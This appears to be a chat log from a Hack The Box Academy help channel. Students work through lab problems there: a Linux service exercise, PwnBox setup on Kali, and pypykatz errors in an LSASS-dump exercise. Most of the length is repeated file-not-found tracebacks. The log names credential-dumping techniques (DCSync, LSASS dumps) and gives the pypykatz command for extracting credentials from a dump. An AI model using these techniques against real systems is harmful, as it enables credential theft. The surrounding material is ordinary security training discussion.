
[strange forge]

error while dcsync attack

[safe star]

Is that correct user?

Send dm of the command

Can’t see much here

[marsh echo]

@safe star can i mp you pls

[safe star]

ye

[tender nimbus]

Hey guys anyone who knows a site for different shell upgrades?

Also anyone know what to do here?

first time i have this

[safe star]

python3 tty shell

[restive lintel]

Command Injections > Advanced Command Obfuscation is stressing me out 😪

[mental tapir]

I need help for the Linux Fundamentals module under the Service and Process Management section. When I type command systemctl start ssh it says... "Authentication is required to start 'ssh.service'.
Multiple identities can be used for authentication:

1. Debian (debian)
2. htb,,, (htb)
3. ,,, (htb-ac-1479288)
   Choose identity to authenticate as (1-3):"
   ...

The instructions do not say which one to choose. Which one do I choose?

[shell ore]

just enter ur password, or sudo

[mental tapir]

ok thanks.

The next step is to check it to see if it runs without errors. I did that but it doesn't look the same as the screenshot in the module...

[shell ore]

ok, show me what does it look like

[shell ore]

bro, cmon its active and running corectlly

[mental tapir]

What is the Mai 14...?

[shell ore]

where is that??

[mental tapir]

In the first pic...

It does not show that in mine

[mental tapir]

After CGroup it lists Mai 14...

[shell ore]

logs for the service

[mental tapir]

why doesn't my box show that?

[shell ore]

u prolly didnt do anything w it? no one logged in, nth being set up, etc...

[mental tapir]

I followed the directions exactly step by step. Why would it list that in the directions? Confusing...

[next bronze]

you're supposed to ssh into the target system btw and not run them in the pwnbox

also don't expect things to be exactly the same, look at the info and process them, things like date will change obviously

[sturdy otter]

You won't see exactly the same output on every server and machine, as it can vary based on the distribution, version, configuration, and so on. However, it's important to focus on the 'important" elements and recognize them. In your case, that means checking the output of ssh.service to ensure it is active and running

[tender nimbus]

^found the flag was a tricky one where i had to play with metasploit sessions thank you ^^

[mental tapir]

ok thanks. Another thing that's bothering me and can't figure out how to fix is entering Full Screen mode. It takes the Pwnbox screen to a new tab. The new tab starts off in full screen and maximized in the new tab. However, after a few minutes the Pwnbox shrinks into a much smaller window making it difficult to read the terminal in the Pwnbox. Why does it keep doing this and how do I make it stop?

[sturdy otter]

You are using pwnbox in the browser? this happens when you increase the browser size in another tab e.g reading the academy modules as its embedded there

[shell ore]

ehm, thx for the help i didnt check the module, didnt know it had this

[sturdy otter]

I highly recommend setting up your own lab/machine with a virtual machine or pc 🙂

[mental tapir]

I have a laptop with Kali Linux installed on it. Could I use that?

[sturdy otter]

sure

[mental tapir]

Is there a good tutorial to set that up?

[sturdy otter]

just use the internet 😄

[rustic sage]

Hmm

[mental tapir]

I couldn't find a tutorial for Kali Linux. HTB runs Parrot OS...

[sacred jacinth]

run the same commands. Kali and Parrot are different flavors of GNU/Linux they use different shells, however, both of the shells offer same functionalities but with different features.

[mental tapir]

Are they both Debian based distros?

[sacred jacinth]

yes

[quasi wave]

hi I'm following instructions on the Attacking LSASS section in Password Attacks Module and I get this error in the picture when I get to the powershell stuff. It won't let me make an LSASS dump. Can someone help me out with this? I'm just following the instructions in the section.

[cloud urchin]

are you running as admin?

[quasi wave]

hold on let me see something

[safe star]

you get it?

[mental tapir]

I'm stuck on Step 2.. I typed nano config.sh to edit the config file and it's blank... Tutorial says to update the VPN_SERVER variable ... but the config file is blank... what do I need to type in the config.sh file?

[safe star]

That’s because the file doesn’t exist where u started to edit

[mental tapir]

never mind. The AI generated steps said to type nano config.sh but I needed nano PwnBox-Kali.sh...

Ok I did that but how do I find the VPN_SERVER field in the file?

[safe star]

Where is this from?

[mental tapir]

It is a Brave browser AI-generated answer like ChatGPT... but for Brave browser

[quasi wave]

└──╼ [★]$ python3 ./pypykatz.py lsa minidump /home/htb-student/Documents/lsass.dmp 
Traceback (most recent call last):
  File "/home/htb-ac-605555/pypykatz/pypykatz/./pypykatz.py", line 12, in <module>
    from pypykatz.commons.common import KatzSystemInfo
  File "/home/htb-ac-605555/pypykatz/pypykatz/pypykatz.py", line 12, in <module>
    from pypykatz.commons.common import KatzSystemInfo
ModuleNotFoundError: No module named 'pypykatz.commons'; 'pypykatz' is not a package

[safe star]

What are u trying to do @mental tapir

[mental tapir]

I am trying to set up a Kali PwnBox on Kali Linux instead of Parrot OS

[quasi wave]

I am trying to run this command in my shell on pwnbox in Attacking LSASS section of Password attacks module:

QuMark@htb[/htb]$ pypykatz lsa minidump /home/peter/Documents/lsass.dmp ```

Its not working

[mental tapir]

there is a Kali PwnBox on Github

[quasi wave]

the pypykatz program won't run on pwnbox

[cloud urchin]

did you download it yourself or was it provided

[quasi wave]

┌─[us-academy-1]─[10.10.15.121]─[htb-ac-605555@htb-yp3zhmltaw]─[~/pypykatz/pypykatz]
└──╼ [★]$ sudo pypykatz lsa minidump /hom/htb-student/Documents/lsass.dump
INFO:pypykatz:Parsing file /hom/htb-student/Documents/lsass.dump
ERROR:pypykatz:Minidump parsing error!
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 139, in parse_minidump_file
    minidump = MinidumpFile.parse(filename)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/minidump-0.0.24-py3.11.egg/minidump/minidumpfile.py", line 52, in parse
    mf.file_handle = open(filename, 'rb')
                     ^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/hom/htb-student/Documents/lsass.dump'
ERROR:pypykatz:Error while parsing file /hom/htb-student/Documents/lsass.dump
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/lsadecryptor/cmdhelper.py", line 266, in run
    mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 144, in parse_minidump_file
    raise e
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 139, in parse_minidump_file
    minidump = MinidumpFile.parse(filename)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/minidump-0.0.24-py3.11.egg/minidump/minidumpfile.py", line 52, in parse
    mf.file_handle = open(filename, 'rb')
                     ^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/hom/htb-student/Documents/lsass.dump'
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/lsadecryptor/cmdhelper.py", line 266, in run
    mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 144, in parse_minidump_file
    raise e
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 139, in parse_minidump_file
    minidump = MinidumpFile.parse(filename)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/minidump-0.0.24-py3.11.egg/minidump/minidumpfile.py", line 52, in parse
    mf.file_handle = open(filename, 'rb')
                     ^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/hom/htb-student/Documents/lsass.dump'

It was supposed to be provided but wasn't

[cloud urchin]

so how'd you install it? pip install pypykatz?

[quasi wave]

I tried both apt and pip

[safe star]

wdym kali pwnbox

like your own vm?

[cloud urchin]

follow the instructions here and make sure you have all the prerequisite apps https://github.com/skelsec/pypykatz

[quasi wave]

I did this on pwnbox tho where this stuff should already be there?

[cloud urchin]

idk i don't use the pwnbox

[safe star]

not always

[cloud urchin]

i think the pwnbox is just a base image it doesn't come with extra tools mentioned in the modules. usually they show you how to install it in the module but not always. sometimes you just have to do it yourself.

[safe star]

yeah, it has internet so you can download it

[quasi wave]

tried everything on github instructions didn't work

┌─[us-academy-1]─[10.10.15.121]─[htb-ac-605555@htb-yp3zhmltaw]─[~/pypykatz]
└──╼ [★]$ pypykatz lsa minidump /home/peter/Documents/lsass.dmp 
INFO:pypykatz:Parsing file /home/peter/Documents/lsass.dmp
ERROR:pypykatz:Minidump parsing error!
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 139, in parse_minidump_file
    minidump = MinidumpFile.parse(filename)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/minidump-0.0.24-py3.11.egg/minidump/minidumpfile.py", line 52, in parse
    mf.file_handle = open(filename, 'rb')
                     ^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/home/peter/Documents/lsass.dmp'
ERROR:pypykatz:Error while parsing file /home/peter/Documents/lsass.dmp
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/lsadecryptor/cmdhelper.py", line 266, in run
    mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 144, in parse_minidump_file
    raise e
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 139, in parse_minidump_file
    minidump = MinidumpFile.parse(filename)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/minidump-0.0.24-py3.11.egg/minidump/minidumpfile.py", line 52, in parse
    mf.file_handle = open(filename, 'rb')
                     ^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/home/peter/Documents/lsass.dmp'
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/lsadecryptor/cmdhelper.py", line 266, in run
    mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 144, in parse_minidump_file
    raise e
  File "/usr/local/lib/python3.11/dist-packages/pypykatz-0.6.10-py3.11.egg/pypykatz/pypykatz.py", line 139, in parse_minidump_file
    minidump = MinidumpFile.parse(filename)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/minidump-0.0.24-py3.11.egg/minidump/minidumpfile.py", line 52, in parse
    mf.file_handle = open(filename, 'rb')
                     ^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/home/peter/Documents/lsass.dmp'

hold on a sec

[safe star]

thats an error because of your file

[cloud urchin]

idk why you keep pasting that, it's not useful information

[mental tapir]

yes, I got with command git clone https://github.com/BlackSnufkin/PwnBox-Kali.git